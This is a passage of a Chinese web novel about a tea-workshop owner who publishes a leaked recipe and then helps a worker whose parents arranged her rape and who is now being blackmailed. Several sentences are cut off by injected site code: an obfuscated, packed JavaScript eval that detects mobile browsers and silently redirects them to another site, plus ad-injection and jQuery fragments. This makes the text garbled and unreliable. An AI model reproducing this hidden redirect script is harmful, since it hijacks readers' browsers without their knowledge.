“娘子，你怎能如此？满枝春可是我们龙芽坊的招牌，我们才与两位茶商签了契书，若是方子公布出去，我们这般小作坊如何与他人抗衡！” 她这厢嚷得面红耳赤，另外三名领班听到消息也急冲冲地赶了过来，见状都拉着她让她少说几句。 程兰心扯扯她的胳膊道：“玉娘，你好生说话，娘子这样安排肯定有她的道理，你怎能这样不分青红皂白地吵。” 在众人的拉扯下，刘玉娘总算安静了下来，但神色依旧不悦，黑沉着脸，眉头紧锁。 常乐却轻笑一声：“好了，别气了，事先没跟你们说明白是我的不是。” 听她这么一说，四人皆不解地看着她。 “实不相瞒，这世上，目前知道满枝春真正制作法子的只有我一人。” 常乐将来龙去脉与她们仔细说明白了，刘玉娘瞪着眼睛一脸不可置信。 “所以。”程兰心开口。“我们一直制作的，包括被姚霜儿泄露的，其实并不是满枝春的方子？” 这几日，通过暗察，她们已经知道是姚霜儿趁着杨初月暂离的时候溜进了房间看到了提花的细节。 这一切都是她丈夫让她这样做的，在常乐面前她哭的声泪俱下，苦苦哀求，但还是被寻了个不痛不痒的理由撵走了。 至于她丈夫为何要唆使她如此做，得了方子后又如何到了张诚的手中，这些事她就交给林牧川去调查了。 毕竟，她丈夫陆平是茗香坊的匠人。 听程兰心如此问，常乐点了点头道：“为了夺魁，我又改了方子，让茶的香味更浓郁清鲜，本来是准备明年再提出来的。” 谁知道后续发生了这样的事呢。 “难怪那日两位茶商的行为古怪，娘子也一直不肯告知我们原因，原来如此。” 程兰心已经猜到了其中的原因：“甘露坊的人利用了泄露出去的方子，告诉二位茶商我们给他们的不是真的满枝春，为了应对，娘子这才拿出了真正的满枝春。” 此时，刘玉娘突然喊道：“那怎么办？我们没有满枝春的存货，这可马上就要交割了。” “如今泄露方子的人已经找到，我也可以将真正满枝春的制作方法教与你们，今日起，就要辛苦你们了。” 说罢，常乐领着四人进了自己院子库房的隔间里，将玉兰混合茉莉提花的方式告诉了她们。 * 六月十五，如归楼中高朋满座。 二楼大堂的正中，摆着一个宽大的乌木匾额，匾额上书三个描金大字：“香盈袖” 匾额下方，两位妙龄女子伸直了双手左右站立，手中高举着的卷轴上，写着三个与匾额上一模一样的大字。 大堂中摆着十数张八仙桌，此刻，桌上的美酒佳肴无人问津，众坊主皆围在匾额之下交头接耳。 龙芽坊坊主常乐，因献茶有功，得圣上御笔赐字，这事早已传开，但亲眼看到的震撼还是无法与听说比较的。 赏得半日，席间有人高喊：“常坊主，你不是说要公布满枝春的方子吗，预备何时说呢？” 常乐循声望去，只见那人颇为面生，自己并不认识。 她走上高台，挥臂大喊：“若是诸位赏字已足，某便收起卷轴，现在开始公布。” 众人自然叫好，她便让两位匠人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726328|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将卷轴收好，接着对侍立一旁的香儿使了个眼色，后者会意下去了。 不一会儿，香儿并六名龙芽坊的匠人捧着许多帖子从侧间出来。 “这帖子上便是满枝春的方子，其上详细写了火候、时辰等制茶中尤为重要的点。” 帖子被匠人们一一送到每一个坊主手上，常乐站于台上，一双眼睛盯紧了张诚。 果然，在快速看过帖子以后，此人脸上的惊讶与疑惑掩都掩不住。 或许是察觉到了视线，张诚眼眸一抬，刚好与常乐对视。 看着对方欲盖弥彰的样子，她扬眉轻笑，又说：“诸位只要依照方子制作，皆能做出满枝春。但既然御笔亲题，此后，满枝春便改名香盈袖。” 随着她的示意，又一众女匠人提着茶壶茶杯走了出来，给每一位坊主皆倒上了一杯。 常乐顺势又说：“这便是香盈袖，诸位请品尝。” 说完，她又看向张诚，果见他尝了以后脸色突变，转头就看了过来。 常乐并不再去看他，而是又开口大声说：“当然，诸位坊主可能制作出来以后，会觉着口味与今日所品满枝春不同。” 她清晰地瞥见张诚的眉头忽而一跳。 “这是因为，我本是女子，我龙芽坊的匠人也皆是女子，这方子自然是按照女子的心性、力量不断试出来的，如果诸位制作出来的口味不对，那可能需要你们自行去尝试适合男子的方子了。” 此言一出，堂下哗然，但常乐的目的已经达到，她不愿去顾及他们是如何猜测的。 在众人纷乱的言语中，她只说坊内事多就径直走了下来。 收好卷轴、带上匾额，她昂首挺胸地走出了如归楼。 入夜，龙芽坊的大院中，林牧川一袭青衣坐在石凳之上品茶。 “因是女子所制，所以口味才不同。”他轻笑，“常娘子，我记得，劝我开辟茗香坊东院的时候，你也是这套说辞。” 坐在对面的常乐眉眼一弯，提着茶壶给对方斟满。 “这本就是事情的真相，不是吗？” 林牧川大笑，而后开口：“还未见面之时，你便说那献上去的茶只有你才能沏出味道，而后又说你的方子要女子来制茶才更显其味，之后，你还会说什么呢？” 常乐睁着亮闪闪的眼睛，直直地望着他，毫不掩饰地说：“所谓兵不厌诈，况且，我说的这些并未损害任何人的利益，甚至帮大人获得了圣上的赞赏不是吗？” 林牧川便顺势客套了几句，而后才提起陆平的事：“我已将他革出茗香坊，从他家中搜出了二十两银子，他也承认了是张诚令他窃取方子的。” “所以。”常乐有些怅然，“就是在我命石头只盯着与东郊密林相关的事时，他暗中令人接触了陆平。” 林牧川点头，又问：“你真的不准备追究了？” 常乐摇头：“方子已经泄露了，再追究也无济于事，我将方子公开，其实也不是为了一时之气，想让张诚陷入自我怀疑，而是借机将女子制茶的实力宣之于众。” “对了。”常乐忽然皱眉，正视林牧川道：“林大人，我还有件事想求你的帮助。” 19. 初月 龙芽坊外，一辆马车停在了侧面的角门处。 车帘掀开，一个六七岁的童子钻了出来，他轻巧地跳下车，从下方拿出一个脚垫放好。 “秦大娘，我们到了。”小童说。 一个丰腴矮胖的妇人从探出头，踩脚垫往下走，略显老态脸上挂着笑：“真是劳烦石头小哥了。” “哪里，原是我们叨扰大娘了。” 石头引着秦大娘往里走，转过几个拐角就看到了一个熟悉的身影。 “香儿姐。”他唤道。 “石头。”看到来人，香儿脸上的焦躁一扫而空，“大娘，可把您盼来了。” 说着，她浅福了福，以眼神示意了石头后，就扶着秦大娘往里走。 秦大娘是县令夫人的陪嫁嬷嬷，那日晚间饮茶，常乐特地求林牧川寻一位专精妇儿科的妇人，言语一出，对方下意识就往她腰腹间看。 常乐的脸瞬间就红了，但她却硬撑着没有低头，还笑着开口解释。 “你想到哪儿去了，是我们坊内的一个匠人，与丈夫成婚也有一年了，近日觉着不适，怀疑是有了。但她又面嫩，不想叫旁人知道，怕闹笑话，就求到我这儿来了。” 林牧川心下一松，满口答应了下来。 行至一间收拾整洁的房间内，右侧的床垂着帘子，床前坐着几个女子。 见人来，常乐立刻起身相迎。 “这位就是秦大娘吧，劳烦您跑一趟。” 亲大娘自然知道这就是这段时间坊间盛传的常娘子，她堆起笑容施礼，还不忘多看上这位传奇女子几眼。 寒暄过后，常乐就说起正事，见对方望着床帘蹙眉，便附耳小声说：“大娘多担待，我这姐妹平生最是腼腆，知道是来瞧喜脉的，死活要拉上帘子哩。” 秦大娘露出会意的眼神，还贴心地大声说县令夫人吩咐了绝不可说出去的话。 常乐再三谢过，待对方坐到床边，摆好脉枕后，她才道：“白雪，秦大娘来了，你把手伸出来吧。” 一只纤细苍白瘦小的手从床帘里探了出来，常乐敏锐地察觉秦大娘的眉头皱了皱。 抬手搭脉，大娘在手腕上摸了一会儿，又让她换只手。 过了有半刻钟，秦大娘才斟酌着开口：“并没有喜脉的脉象。” “那为何她会想吐，月信还迟迟未至？”问话的是一直守在旁边的刘玉娘。 “那是思虑过重所致。”秦大娘收拾自己的东西，言语感慨，“是公婆催促了吧？” 刘玉娘便转身去看常乐，后者接话道：“正是呢，这都成亲一年了还没有好消息，老人等着抱孙子呢。” “这事可急不得。”说着又朝床上喊：“是……白姑娘吧，你得放宽心，愁绪这么重，该来的都不会来了。” 半晌，她才听见里面传来一个带着哽咽的回答：“哎，多谢了，秦大娘。” 秦大娘动了动嘴，最终还是没再多话，只是在出门的时候拉了一下常乐的手。 常乐会意，跟着对方走出了门。 “娘子，当着那姑娘我不好说人家的家事，但她的身子也太弱了些，想来平时未曾进补。” 说着，她看了看周围，又将声音降低了道：“就她现在这样，最好还是先别要孩子，就是怀上了也难以保住，纵保住了也是个胎里弱。” 令香儿去送秦大娘后，对方的话还一直在她耳边萦绕，这使她不由得带上了几分怒意。 迈步进房间，她的语气便颇为不耐烦：“把帘子掀开吧。” 一旁的刘玉娘赶紧动作，杏色的床帘下露出一张苍白挂泪的脸。 “娘子……”杨初月开口。 “如今可心安了？”常乐问。 或许是感觉到了对方神色间的不悦，杨初月的眸子瞬间又蓄满了泪水。 床后转出来一人，真正的白雪面如满月，脸色红润，哪有一点身弱的样子。 常乐叹了口气，坐到床边令杨初月躺好。 “既然已经弄清楚了，就安心把身子养好，制茶这边她们三人先辛苦些。” 旁边的三人自然附和着说话。 “娘子。”杨初月半坐在床上，细细开口：“是我对不住你。” “你最对不住的是你自己。”常乐想起那些腌臜事情，轻咬了一口颊内的肉才冷静下来。 “知道你父母起了这份心的时候你就该来同我说，再不济，事发的时候你也该告诉我们了。” 常乐火气难消，终究还是说了气话：“难道这么长时间相处下来，你还未把我们当姐妹？” 杨初月泪如雨下，哽咽难言，只能拉着她的袖子拼命地摇头。 一旁的程兰心看不下去，开口道：“娘子，初月不是这个意思，她心里也不好受，我们还是先让她休息吧。” 常乐心中何尝不知，拿着手绢将杨初月的眼泪擦掉以后，就领着众人出去了。 才一出门，就见香儿拿着一张纸走了过来。 “娘子，这是大娘开的方子，说是疏肝解郁、养血调经的，还说白……哦，月娘子得多补补身子。” “知道了，你去账房领银子，照方子抓药吧，再让红婶炖只鸡。” 香儿领命下后，常乐与三人一同往院子里走。 “最近这一个月，初月都不吃饭的么？” 龙芽坊匠人十天都在坊内，而后才有一天或者两天的时间休沐回家。龙芽坊皆是女子，常乐特地吩咐了红婶多做些于女子有益的膳食。 杨初月跟了自己这么久，纵使原先在家中受苛待，三四个月这么养下来，身子不至于亏成这样。 还是白雪开了口：“我见她这段时间心事重重，用饭时确实有些食不下咽。” “便是从出事开始？” "仔细想想，可能从她家里提起那件事就开始了……" 那就是将近两个月了，常乐心中气急，不由得一拳砸在了身边的墙上，唬得程兰心和白雪连忙去看她的手。 “我找他们去！”刘玉娘气呼呼地就要往外闯。 “你回来！”常乐怒吼，“还嫌不够乱？赶紧到提花间去，如今只有你们三人，更要加紧时间了。” 为了不让她们担心，她又添了一句：“这事我会和念柔一起处理，一定让这些恶人付出代价！” * 那日常乐与四人坦白制茶方子泄露一事时，她看到程兰心欲言又止的样子，当晚就把她叫过去问话了。 程兰心说，杨初月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730258|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去茅房可能不是因为内急，有可能是怀上了。 常乐当即就变了脸色，杨初月还未出嫁，甚至都还未议亲，怎么可能怀孕。 “我本也是不信的。”程兰心蹙眉道，“只是我有好几次看到她好端端地匆匆背了人跑出去，我有几次跟出去后，发现她捂着嘴无声地吐。” 程兰心还因此问过她，但杨初月都避而不谈。 她本每没到怀孕上头去，直到发现对方一直没有换洗，还暗中发现她偷偷用拳头捶自己的肚子。 常乐听了，让程兰心先不声张，她自己留心观察了几天证实了这些说辞后，找了个机会逼她说了出来。 杨初月头上有个哥哥，底下还有个弟弟。家中父母盼着两位儿子金榜题名，光耀门楣。 偏生她哥哥屡试不中，考了十几年还只是个秀才，眼见着孙子都出生了，二老才接受了这个事实，将眼光放到了小儿子身上。 他们一直觉得大儿子次次落榜是因为缺了好老师的教导提携，于是便想着为十岁的小儿子寻一个有声名的老师。 恰巧邻县忽然来了位曾中了三甲的教谕开堂授课，杨初月的父母便动了心思。 但想拜在这位教谕门下，花费是绝不少的，他们便想将女儿嫁给一个富商做妾。 那富商不是本地人氏，每年都到庆丰县来收茶叶，去年一次偶然的机会看上了杨初月，就想收了她。 当时被杨初月费劲心思逃了过去，今年这富商又来，她本想着自己在龙芽坊做工，每个月的月钱都交给了母亲，家里人应该不会再起这心思。 谁知道父母这次见说不服她，直接在端午那天灌醉了她，把富商叫到家里要了她的身子。 小儿子靠着富商留下的银子顺利去了邻县求学，杨初月父母还说虽未过明路，但她已经是对方的妾了。 那富商本想将她接到自己的住处，是她拿着剪子抵在自己脖颈处以死相逼才作罢。 “他说，他不逼我，让我自己想通，若在他离开前还想不通就再不找我。”杨初月说得声泪俱下，常乐听得攥紧了手心的帕子。 “从那以后，我每次回去都会将剪子拿在手上，睡觉也不放开，我不敢不回去，我怕他们到这儿来闹事。” “我怎么可能跟他，我在这里，跟你们一起，我不知道有多开心。”她呜咽出声，“可是，可是我一直吐，月信也断了。” 她转身跪到常乐脚边，将头埋进对方的腰间。 “娘子，我怀了他的孽种，我对不起你，娘子。” 常乐将她扶了起来，说自己会想办法确定她是否真的有孕，万事等探脉的结果出来再说。 为避免走漏风声，她便拜托林牧川找一位懂这方法的妇人过来，再三强调了守口如瓶。 为最大限度守住这个秘密，她与白雪商量让杨初月顶着她的名头摸脉。 白雪一年前成婚，公婆善待，夫妻恩爱，她怀疑有孕请脉，纵使传出去了也不碍事。 好在，最终探出来并未有孕，常乐回到房间长吁一口气。 至于那对恶毒的父母，和那位富商，她会让这些人受到应有的惩罚。 这一次，她要让杨初月明白，自己立起来，才不会有人踩在你的头上。 20. 困境 龙芽坊的门房处，当班的祝三娘忙得脚打后脑勺。 自从坊内的茶叶满枝春——如今应该叫香盈袖——得了御笔以后，上门递帖子的人一下子多了数倍。 有想要与常坊主结交的别家坊主，有想谈生意的茶商，甚至还有特地赶过来“认亲”的自称是坊主亲戚的人。 得了两次常娘子的埋怨后，祝三娘再也不敢将第三种人报到娘子跟前了，直接轰走了事。 不是她不讲情面，这可是娘子亲口交代的！ 今日上门递帖子的人尤其多，祝三娘对着每个人都要把“我们坊主正忙呢”“帖子一定送到坊主跟前”“坊主得空了定会邀你们东家见面的”说上几遍。 半天下来，嘴皮子都要磨破了，好不容易又送走了个难缠的，她也顾不得什么品茶之方，提起茶壶对着壶嘴就猛灌了起来。 正喝着，余光就瞥见两人走了进来，也不搭话也不递帖子，径直就往里走。 “呜呜呜……”她嘴里含着一大口茶，说不出来话，就只能瞪大了眼睛指着两人焦急出声。 那两人闻言转身，看清打头的那个后，祝三娘好悬将茶喷了出来。 "怎么了？"林牧川开口。 她忽地从凳子上弹起来，欠身道：“没事没事，大人您请进。” 两人走后，祝三娘才抚着胸口坐下来。 乖乖，还好刚才喝着茶不能说话，这要是胡乱开口得罪了林大人，她这门房的活计可不就到头了。 想了想原来在家中洗衣煮饭伺候人的日子，她打定主意，以后喝茶一定要细品，可不能再这样被茶壶挡住了视线。 迈步而入的林牧川并不知道门房心思的转变，领着护卫走到垂花门处，就见到一早就候着的香儿。 跟着香儿走到偏院的厅房，里面的常乐听到声音就迎了出来。 “林大人。”她略施一礼便请二位入座。 寒暄过后，林牧川说起了此次前来的目的。 “这位是严俊才，你要的护卫。”一脸刚毅的男子遂起身抱拳。 “林大人手下果然人才济济。”常乐夸赞。 林牧川不由失笑，而后才问起她要人的原因。 “可是有什么事是季娘子无法应付的？” “那倒不是。”常乐答道，“只是我安排了她其他的任务。” “龙芽坊近来事情颇多，我总是要出门的，念柔不在身边我便只好求大人匀我一个护卫了。” “说来，还未恭喜娘子呢。”林牧川饮了一口茶，“听说龙芽坊近来聘了许多女匠人，看来娘子之前所说的两年内还清并未夸大。” 常乐便笑：“在大人面前，我向来实话实说。” 林牧川便看着她，她就这样坦然地回望过去，前者不自觉地扬起嘴角。 “那是自然，娘子从未虚言。” 而后两人相视一笑。 * 茶叶品质上乘，且有天子御笔亲赞，如此情况下，生意源源不断地找上门，趁此机会，龙芽坊多聘了许多匠人。 只是如此一来，提花的人手明显显不足，杨初月被常乐严令休息，三个人就更赶不及。 常乐只得让刘玉娘三人从下面挑选几人出来，为了防止她们泄露方子，还请林牧川做了见证，签了契书。 她捏着契书道：“签字画押便做了数，若是敢往外说半个字，先掂量掂量自己受不受住这些惩罚。” 敲了大棒以后，自然要再给个甜枣，她于是又说：“当然，只要你们用心守约，工钱从这月起便多二两。” 这话一出口，让因前一句而瑟缩的几人瞬间眉目舒展，神色变得光彩夺目。 多了人后，制茶的速度上升了不少，常乐翻看着账簿，心中计算着还能定下多少数量的单子。 正看着，季念柔从外面走了进来。 “娘子，初月已经在收拾东西了。” 常乐停下手中的动作说：“跟上她，按计划行事，除非有危险，你不得现身也不要让她发觉。” 季念柔有些犹豫，常乐看出了她的心思。 “我这边你不用担心，我已经从林大人那里借了一名护卫，你且专心看着初月那边。” 对方走后，常乐略微思索，自觉无甚遗漏后才又看起了帖子和账簿。 事情多了以后，整理帖子和账簿这些事情她已经无暇顾及，就逐渐转到了碧桃手上。 这丫头虽年龄不大，心思却缜密，又肯下工夫，有常乐带着，她逐渐上了手，事情做的着实漂亮。 * 杨初月出了龙芽坊以后就往家里走。 今日是她休沐的日子，虽然她这几日并没有做事，但今日常娘子还是准了她的假。 原本坊内匠人的休沐都是定下的，到了日子就可以自行回去，并不需要特意上报，但近来娘子的态度却让她很是忐忑。 一直不让她参与做事，她再三恳求娘子也不见，只说让她好生休息。 她觉得娘子应该是恼她了，为着自己一直补贴家里，也为着出这么大的事没有告诉娘子。 毕竟娘子从来都告诫她们，人要为自己而活，不能只想着他人，父母兄弟也不行。遇到难为的事也要告诉她，她会尽力相助。 她这次一下子触了娘子两处逆鳞。 但她不敢不补贴家里，虽然爹娘对自己没有很贴心，但也将自己养到这么大，况且，家中弟弟确实聪颖，她多补贴家里一分，弟弟就能多一分中举的希望，那时家里就能过上好日子了。 她也不敢告诉娘子，端午那天的事让她难以启齿，待觉得有孕以后，就更不敢说了。 一度，她想到了死，但走到河边，她又退缩了。 她是怕死的。 还好，还好没有怀孕，这让她的心里好受了许多。 知道这件事的坊内姐妹也没有躲着自己，娘子甚至为着这事特地寻了一位精通妇儿科的妇人。 杨初月内心很羞愧，那日喝过药，又喝了鸡汤以后，她就去了提花的房间，却被告知娘子不准她做事。 后来，单子越来越多，匠人们越来越忙，她又想求见娘子，娘子却一直不见。 然后就得知坊内提拔了几人到做提花之事，这个消息让她怔愣了半刻钟。 娘子，这是不想用自己的了吗？ 这个念头使她内心十分煎熬，却又不知与谁诉说，休沐日一到，她便借口回家想着出来散散。 走过一个拐角 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，眼前忽然一暗，她抬眼一看，几乎要喊出声来。 对方把手按在她的嘴唇上，她瞬间全身汗毛倒立，将那只手拍了下来。 “你放开!” 莫自明见状立刻慌张地左右看，嘘声让对方安静。 面对这个强要了自己的人，杨初月只觉得恶心，她半刻也不愿意与他待在一起，只管绕着往前走。 “别走啊，我有事与你商量。”莫自明伸手挡住。 杨初月眼圈泛红，咬紧了牙，低声呵斥：“让开！” 或许是对方的神态让他多了份自信，莫自明一改原先局促的姿态，将脸一沉威胁道：“要么，你乖乖听我说话，要么我现在就把咱们的关系嚷开。” “你！”杨初月眼泪瞬间滴了下来。 “乖乖，别哭啊。” 杨初月躲开伸过来的手，强撑着说：“快说！我还有事。” 莫自明将人带到一处更偏僻的地方，然后就提起了让她帮忙给常乐递话。 “你与那常娘子美言几句，让我能买到香盈袖，最好还能少花些银子。” 看着对方奸猾的眉眼，杨初月内心一阵阵地泛起恶心。 “你少做梦了，我们坊的单子已经够多了，我们娘子也不会与你这样的人谈生意的。” 莫自明脸色顿时一黑，但转眼又堆起笑来：“月儿，你这话就说得外道了，我们的关系已经板上钉钉，我多赚些，你不就能享更多的福了？” “我都打听到了，常乐十分器重你，龙芽坊刚立就提拔你做了领班，近日见你身子不好，不惜花费为你补身，连事也不需你做。” 说着，她又往杨初月那边挪了挪，见对方闪避也不恼，只伸出手作发誓状。 “我答应你，只要你帮我做成了这单生意，我一定给你买最好的衣裳首饰，风风光光地抬你进门，家里除了正头娘子，旁人都不敢为难你，你的身子，日后就由我来养，保管比常乐更精心，就你弟弟的事……” “够了！”杨初月打断了对方的话，她气急攻心，身子不自觉地抖动。 “莫自明，我告诉你，我绝不会为你在我们娘子面前说一个字，你不要在我这里白费工夫，以后也不要出现在我面前！” 话音未落，她就见对方扬起了手，她躲避不及，不自主地闭上眼侧过头。 预想的巴掌没有落到自己身上，她只听到了一声痛呼。 “谁，谁他娘的拿石头扔我！”莫自明看着流血的手腕，怒火中烧地环顾四周。 周围没有任何人，也没有其余的声音。 血兀自流着，他也顾不得其他，再次恶狠狠地说了几句威胁的话以后急冲冲离开了。 再次回过神来，杨初月发现自己正靠墙瘫坐在地，脸上一片冰凉。 伸手一抹，都是泪水。 她急切地擦掉眼泪，又强撑着站起来，想起方才的事情，她朝着空荡荡的前方开始喊话。 “谁？刚才是谁？” 见一直无人回应，她也不敢多留，转过身就往龙芽坊走去。 偏院内，季念柔回报了之前的事情，常乐点了点头。 果然，莫自明这个人找上了初月，希望她能通过这件事认清那些家里人。 21. 恶意 又过得两日，龙芽坊来了个其貌不扬的妇人，说要见杨初月。 门房问原因她只说是杨家爹娘有事，让家里女儿回去一趟，还说已经收了银子一定要将话带到。大有见不到人就赖着不走的架势。 门房的当班无奈，只得让人去叫人。 杨初月一听是家里有事，急匆匆地赶了出来，一见来人是同村的嫂子就拉着人问家中的情况。 那嫂子只说杨家爹娘让她回去一趟，具体是什么事她也不知道。 回到房间，喝了红婶炖的猪肚粥，杨初月踱步许久，终于还是转身去了常乐所在的偏院。 走进院子却没见到人，香儿只说娘子同柔娘子去谈生意了。 杨初月有些失落，但也打点好包袱，出了龙芽坊。 因担心有事，她便雇了马车往家中赶，约两刻钟，马车停下，她掀开车帘看到了站在屋前的齐氏。 见女儿回来，齐氏脸上顿时堆起笑意：“月儿回来了，快进屋，娘给你炖了猪肚汤呢。” 她一面说，一面将人拉进房子，然后转身到厨房里盛汤。 看着眼前一大碗清汤里散落的几片猪肚，杨初月只觉得方才在坊内喝的那碗汤在肚里翻搅，一股油腻的气息直冲喉头。 皱眉压下呕吐的感觉，她问叫她回来有什么事。 “也没什么大事。”齐氏在女儿身边坐下，“只是你前两日未回，又听闻你身子不好，便想着给你补补。” 说着，她将碗又推了推，急切道：“趁热喝，今日清晨娘起了个大早特地给你买的。” 杨初月拿着勺子搅了搅，又看了眼娘的脸，在勺子递到嘴边时忽然又停了下来。 “娘，我早上吃得多，这会子胃里撑得慌，还是娘自己吃吧。” 齐氏沉默了一会儿，忽然长叹一声垂下泪来。 “娘知道，你还在怨娘，上次的事是娘做得不对，娘该死。”说着她就扬起手往自己脸上招呼。 杨初月即刻伸手拦住：“娘你这是在做什么？” “自从那日以后你在家就再也不曾吃过东西，娘知道你在担心什么，娘吃给你看！” 话音未落，齐氏操起桌上的碗仰头便倒，又急又烫之下，她猛地咳嗽了起来。 杨初月大惊，连忙将碗抢下大喊：“娘，你这是在干什么！” 齐氏抚着胸口喘了一会儿，才又开始呜咽着说：“那事是娘做错了，可娘也是为了你好，那莫茶商家中财产何止百万，你若做了他的妾，不仅吃香喝辣，还有丫鬟使唤，不比你在那作坊里整日操劳的强。” “娘，你若是就为了说这些，那女儿就先回龙芽坊了。”杨初月耐住心中的火气，起身就准备走。 “慢着。”齐氏伸挡住，“你不嫁也行，娘也不是那等硬要卖女儿的人，只是还有一事你务必应下。” 杨初月望着齐氏，终于还是被地方拉着重坐了下来。 “你看看这个。”齐氏从身上摸出一个布包，层层打开后，里面是一锭五两的银子。 “你这是？” 齐氏抬手止住女儿的话，又伸头到门外看了看，见没人，才开口：“这是莫茶商给的。” “欸，你这孩子怎么回事！”她拉着又想起身的女儿，“听娘把话说完。” “知道你没那个意思，莫茶商也不想自讨没趣，但是做不成夫妻，还能做交易嘛。” 齐氏就将莫自明交代的事情说了，杨初月一听就是那日所说一模一样的事。 莫自明想要她能帮忙从龙芽坊拿到香盈袖，最好还是低价到手。 “这五两银子只是定钱，若是成了，他还有更多给呢。”齐氏捧着银子欢天喜地。 “这样一来，你弟弟后面几年求学的花费就都有了。”说到这，她忽觉不妥，“当然，大部分还是用来给你置办嫁妆，你也不小了，赶紧找个好人家嫁了才是正经。” 杨初月在一旁听得心下冰凉，她眼圈微红，咬破了舌尖没落下泪来。 “娘心里还知道我要嫁人呢，那日之后，哪个男人还会要我！” 齐氏一听这话，有片刻的愣怔，然后又瞪圆了双眼说：“难道被人知道了不成？我们可谁都没说。” 又道：“要我说，反正要嫁人，不如就给莫茶商做妾，这样让你那东家娘子给你丈夫少算点价钱才更好开口，不然平白无故为个男人说话，实在有损名节。” “有损名节。”杨初月冷声念出这几个字，而后忽然大喊：“你也知道有损名节！” 豆大的泪珠不听使唤地接连垂下，她嘴唇不停地抖动，整个人几乎脱力。 她看着手忙脚乱要捂着自己嘴，又慌张打开一条门缝去看邻近的娘，身体里的血像是要凝固了。 齐氏依旧嚷嚷个不停，杨初月只觉得心力交瘁，她强撑着往外走，齐氏想拦却被她一把推开。 身后大吼大叫的声音她一点都不愿意听，她逃也似地走出了房子。 好在她原本也没想着待多久，事先就与车夫说好了在街口等自己。一上马车，她就催着车夫快走。 哒哒的马蹄声隔开了妇人盛怒的喊叫，杨初月脱力地靠着车壁，泪水不停地从脸上滑过。 * 又过了几日，龙芽坊门房处又有人来找她，她本不愿去见，但通传的人却说来人是自己的亲哥。 还在犹豫间，又有人急匆匆地跑过来说，如果她还不出去，那人就要在坊前大声嚷嚷常娘子压着匠人连亲人都不许见。 杨初月被这一吓，连衣服都来不及换就从冲了出去。 她哥杨耀仁将她带到了一处酒店的雅间，在里面她再次见到了莫自明。 那人要挟他，说再给她三天时间考虑，如果还是不答应，就要将他们的事情宣扬出去。 杨初月失神地被送回坊内，坊内姐妹见她如此，纷纷上前关心询问，她却一句话都说不出来。 直到大半夜，她才回过神来，独自闷在被子里失声痛哭。 翌日清晨，杨初月被敲门的声音惊醒，门外是碧桃。 打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开门，碧桃端着已过鸡丝粥走了进来，上下将她一打量就皱了眉。 “初月姐姐要不还是请个大夫来看看，红婶每日与你做进补的药膳，怎么这么些日子了，你的身子非但不见好，反而好似越来越差了。” 被一个十二三岁的姑娘这样说，杨初月不觉有些羞赧，她接过粥盅，提起了其他的话头。 “今日怎么是你送过来。”边说边给她搬了个绣凳。 碧桃就整整衣服坐下道：“这几日整理账簿，累得很了些，娘子便怪我不知爱惜身子，强给我放了一日假。反正没事做，我就四处走走，顺手就给你送过来了。” 她听着这话，心中更不好受。 常娘子对坊内的姐妹一直十分呵护，姐妹们也十分用心上进，就连碧桃这个年纪的小姑娘都能给龙芽坊分担重任。 反观自己，得娘子看重，被提拔为领班，一身制茶的本事全是娘子一手带出来的。 娘子对自己如此好，自己非但没有好好报答，反而因为自己的疏忽泄露了提花的方子。现如今又因为家里的事，可能要拖累龙芽坊。 可能是她许久未曾搭话，碧桃喊了两声，又一脸关切地打量她。 “初月姐姐，你真的没事吗？要不我还是外面给你请个大夫吧。” 杨初月一把拉着她，心中想彻底按下此事的心越发强烈，因此不管不顾地朝着一个小姑娘问出了口。 “碧桃，你说，如果有人拿一件你十分在意的事要挟你，要你去做一件你不愿做的事，你会怎么办？” 碧桃不解地看了对方一眼，在急切目光的催促下，她试探地开口。 “不能远离这个威胁你的人吗？” 或许是太想知道答案，杨初月没有主意到对方话里的细节，只是丧气道：“远离不了，可能这辈子都远离不了了。” “那他有把柄在你手中吗？”碧桃接着问。 “没有……应该是没有把柄的，反而是我有把柄在他们手里。” “那……”碧桃思索了一会儿，然后才又开口，“那你就假装答应他们，然后提一些对方会答应的要求，只要你利用好了这些要求，对方就会有把柄在你手中了！” 这个回答让杨初月陷入了沉思，碧桃又喊了好几声她才反应过来。 “哦……”她笑了笑，然后又匆忙地摆出一个疲惫的神情，“碧桃，多谢你给我送来这粥，但是我昨晚没有睡好，现在累得很，我喝了粥还要睡一会，就不多留你了。” 说完，她匆匆地把碧桃送出了房间，然后背靠着房门，思索起对方刚才说的那些话。 “假意答应，然后抓住对方的把柄……” 忽然，杨初月眸光一闪。 入夜，在外一天的常乐刚换下衣服，就听香儿说碧桃和季念柔在外等着。 将人叫进来后，她们一一说了杨初月今日的行动。 “下午的时候，他在在后门处喊了一个流浪的乞儿，给了对方几个铜板，让人去贵宾楼找莫自明，说明日去见他。 22. 反击 贵宾楼内，莫自明在雅间内踱步，不时将头伸出窗外，脸上焦急的神色越来越重。 昨日有一小乞儿找到自己，说是龙芽坊一个叫月娘的人，约自己今日申时三刻在此处相会。 他觉得是自己的威胁起了作用，于是今日一早就在此等候，眼见着时间已近，他越发急切起来。 